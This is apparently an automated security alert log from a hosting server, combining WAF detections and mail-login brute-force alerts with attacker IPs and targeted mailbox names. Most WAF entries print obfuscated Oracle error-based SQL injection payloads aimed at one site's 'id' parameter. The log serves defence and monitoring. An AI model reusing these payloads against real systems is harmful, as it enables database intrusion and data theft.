IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/3124=ctxsys.drithsx.sn(6002,chr(126)||'~'||(select/**/(case/**/when/**/(3124=3124)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:03:14 dovecot_login authenticator failed for H=(j6jEYpV) [77.83.39.253]:53090: 535 Incorrect authentication data (set_id=kwchin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:03:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53287: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:03:29 dovecot_login authenticator failed for H=(btnnIIfMVG) [178.16.52.139]:50924: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:03:49 dovecot_login authenticator failed for H=(tgq8Paj) [165.154.217.204]:62618: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1%'and/**/6931=dbms_utility.sqlid_to_sqlhash(chr(126)||%27~%27||(select/**/(case/**/when/**/(6931=6931)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)) and 'yxdpzwza%'='yxdpzwza||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:03:04 dovecot_login authenticator failed for H=(6W5Xoj) [185.230.124.69]:63028: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:03:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:03:11 dovecot_login authenticator failed for H=(wAasGzfRP) [165.154.217.204]:53098: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1%'aND/**/6931=dBms_utiLiTy.sqLiD_tO_sqlhasH(chR(126)||'~'||(Select/**/(CasE/**/whEn/**/(6931=6931)/**/tHEN/**/1/**/ElsE/**/0/**/enD)/**/FRoM/**/DuAl)||'~'||CHR(126)) AND 'YXDpZwZa%'='YXDpZwZa||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 123.16.187.12
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1AND/**/2241=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(2241=2241)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:03:12 dovecot_login authenticator failed for H=(8BqhRFiE) [158.94.208.175]:53503: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 185.147.100.112
country_id: 99237
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1')and/**/2080=dbms_utility.sqlid_to_sqlhash(chr(126)||%27~%27||(select/**/(case/**/when/**/(2080=2080)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)) and ('kb6d0bdh' like 'kb6d0bdh||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 185.147.100.112
country_id: 99237
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1')ANd/**/2080=dBMs_uTiLITY.SqlID_to_sQlhash(chR(126)||'~'||(selEct/**/(CasE/**/wHEN/**/(2080=2080)/**/THEn/**/1/**/elSe/**/0/**/End)/**/fROM/**/DUAl)||'~'||Chr(126)) AND ('KB6D0BDH' LIKE 'KB6D0BDH||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:03:04 dovecot_login authenticator failed for H=(RyAcp3chJm) [69.5.189.21]:64197: 535 Incorrect authentication data (set_id=mustapa)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 123.16.187.12
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1and/**/2241=dbms_utility.sqlid_to_sqlhash(chr(126)||'~'||(select/**/(case/**/when/**/(2241=2241)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:03:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/9317=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(9317=9317)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))# 4FH6yQPv HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\"))AND/**/3040=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3040=3040)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)) AND ((\"UtvVC9uN\"=\"UtvVC9uN\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:04:08 dovecot_login authenticator failed for H=(BVVT8XF7Z1) [165.154.217.204]:64791: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:04:15 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62817: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:04:20 dovecot_login authenticator failed for H=(mlbQh52kMD) [185.230.124.69]:55184: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:04:18 dovecot_login authenticator failed for H=(vshOMFbjWV) [178.16.52.139]:63216: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:04:25 dovecot_login authenticator failed for H=(Vh6JOXK) [77.83.39.253]:59935: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:04:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"))and/**/3040=dbms_utility.sqlid_to_sqlhash(chr(126)||'~'||(select/**/(case/**/when/**/(3040=3040)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)) and ((\"utvvc9un\"=\"utvvc9un\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:04:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:04:08 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56574: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:04:14 dovecot_login authenticator failed for H=(C3PzY7) [69.5.189.21]:59685: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:04:28 dovecot_login authenticator failed for H=(BZcI8r) [158.94.208.175]:64910: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.161.160.238
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1') and and/**/3622=utl_inaddr.get_host_name((select/**/chr(126)||'~'||(select/**/(case/**/when/**/(3622=3622)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)/**/from/**/dual))-- -||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.161.160.238
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1\" AND AND/**/3267=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3267=3267)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:05:25 dovecot_login authenticator failed for H=(rJZWTRoY) [178.16.52.139]:56870: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.60.31.166
country_id: 2921044
description:
2026-02-02 06:05:58 dovecot_plain authenticator failed for H=(c10712.servers.ecomdata.de) [212.60.31.166]:62750: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/7235=dbms_utility.sqlid_to_sqlhash(chr(126)||'~'||(select/**/(case/**/when/**/(7235=7235)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:05:12 dovecot_login authenticator failed for H=(wCLPIG) [165.154.217.204]:50953: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:05:13 dovecot_login authenticator failed for H=(3W1SXrksi) [77.83.39.253]:40727: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-02-02 06:05:17 dovecot_login authenticator failed for H=(dps-comsec.com) [61.50.119.110]:39160: 535 Incorrect authentication data (set_id=nologin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:05:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:05:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:05:17 dovecot_login authenticator failed for H=(gWuXhFn) [185.230.124.69]:52982: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.0.163.2
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=1&sub=21 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:05:37 dovecot_login authenticator failed for H=(qyyQRWTT) [158.94.208.175]:50431: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:05:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56246: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:05:05 dovecot_login authenticator failed for H=(oj6YeSvpR) [165.154.217.204]:50437: 535 Incorrect authentication data (set_id=prayerlink)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 5.109.228.12
country_id: 102358
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/7235=DBMS_UTILITY.SQLID_TO_SQLHASH(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(7235=7235)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:05:24 dovecot_login authenticator failed for H=(IsDJK4rCkZ) [69.5.189.21]:56855: 535 Incorrect authentication data (set_id=mustapa)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 212.175.62.54
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1'and/**/3228=utl_inaddr.get_host_name((select/**/chr(126)||'~'||(select/**/(case/**/when/**/(3228=3228)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||'~'||chr(126)/**/from/**/dual))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:06:43 dovecot_login authenticator failed for H=(7IiQ32FV) [165.154.217.204]:59584: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:06:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50802: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 14.161.160.238
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:REQUEST_HEADERS:Referer||MV:https://www.aoto.com.my/product-detail.php?id=1\"))AND/**/4188=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(4188=4188)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL)) AND ((\"a6cgXnpp\"=\"a6cgXnpp\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:06:10 dovecot_login authenticator failed for H=(WN1M2vno) [69.5.189.21]:64249: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:06:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50662: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:06:29 dovecot_login authenticator failed for H=(duZTyrLH5C) [178.16.52.139]:57867: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.60.31.166
country_id: 2921044
description:
2026-02-02 06:06:04 dovecot_login authenticator failed for H=(c10712.servers.ecomdata.de) [212.60.31.166]:62750: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:06:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:06:24 dovecot_login authenticator failed for H=(QlnBb4rCfP) [77.83.39.253]:47115: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:06:38 dovecot_login authenticator failed for H=(6XFZaj) [158.94.208.175]:59705: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77317978
name: IM360 WAF: Generic SQL injection in id parameter
abuser: 14.161.160.238
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Generic SQL injection in id parameter||MVN:ARGS:id||MV:1\"))and/**/6474=utl_inaddr.get_host_name((select/**/chr(126)||%27~%27||(select/**/(case/**/when/**/(6474=6474)/**/then/**/1/**/else/**/0/**/end)/**/from/**/dual)||%27~%27||chr(126)/**/from/**/dual)) and ((\"naz3g8ok\"=\"naz3g8ok\"||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:06:08 dovecot_login authenticator failed for H=(Bd9Qocf) [165.154.217.204]:55437: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.160.238
country_id: 1562822
domain: www.aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET /product-detail.php?id=1AND/**/10428=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(10428=10428)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL))# kxJg8N64 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 212.175.62.54
country_id: 298795
domain: www.aoto.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1'AND/**/3228=UTL_INADDR.GET_HOST_NAME((SELECT/**/CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(3228=3228)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126)/**/FROM/**/DUAL))-- -||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 143.244.184.204
country_id: 6252001
description:
2026-02-02  6:06:54 271518 [Warning] Aborted connection 271518 to db: 'unconnected' user: 'unauthenticated' host: '143.244.184.204' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:06:14 dovecot_login authenticator failed for H=(w0Q83y3q) [185.230.124.69]:56689: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:06:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:07:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:07:11 dovecot_login authenticator failed for H=(NvFfCw5x) [185.230.124.69]:59310: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:07:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63648: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:07:35 dovecot_login authenticator failed for H=(jHmgmssMVo) [178.16.52.139]:52863: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.185.249.102
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/training-details.php?id=697285 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:07:05 dovecot_login authenticator failed for H=(5lbzkSz) [165.154.217.204]:60144: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:07:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:07:12 dovecot_login authenticator failed for H=(wFnPqaVd) [77.83.39.253]:29112: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.5.189.21
country_id: 241170
description:
2026-02-02 06:07:21 dovecot_login authenticator failed for H=(KPGC36) [69.5.189.21]:58978: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-02 06:07:56 dovecot_plain authenticator failed for H=(miness) [64.72.74.162]:54899: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:07:33 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:07:38 dovecot_login authenticator failed for H=(ZQVayQzZa) [158.94.208.175]:53533: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 06:08:08 dovecot_login authenticator failed for H=(UD7q2w6L) [185.230.124.69]:64564: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.255.122.187
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=307874 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.40.101.10
country_id: 6252001
description:
2026-02-02 06:08:47 dovecot_plain authenticator failed for H=c-98-40-101-10.hsd1.tn.comcast.net (cheny) [98.40.101.10]:44964: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:08:03 dovecot_login authenticator failed for H=(Yj4uDWW) [165.154.217.204]:64731: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 06:08:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 77.83.39.253
country_id: 690791
description:
Feb  2 06:08:20 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kwchin@urban.my has been locked for the attacker IP 77.83.39.253


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.120.205.10
country_id: 6251999
description:
2026-02-02 06:08:26 dovecot_plain authenticator failed for H=([10.8.18.164]) [37.120.205.10]:36353: 535 Incorrect authentication data (set_id=tigerchong@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 06:08:27 dovecot_login authenticator failed for H=(KyeesE0iDt) [178.16.52.139]:59909: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 06:08:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 06:08:09 dovecot_login authenticator failed for H=(7KSm0k) [158.94.208.175]:55352: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 06:08:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58798: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 06:08:25 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53072: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 06:08:04 dovecot_login authenticator failed for H=(TRB0l3) [165.154.217.204]:64824: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.83.39.253
country_id: 690791
description:
2026-02-02 06:08:22 dovecot_login authenticator failed for H=(rcLKUtyD) [77.83.39.253]:43457: 535 Incorrect authentication data (set_id=kwchin@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.139.65.60
country_id: 3996063
domain: appointment.visoft.com.my
description:
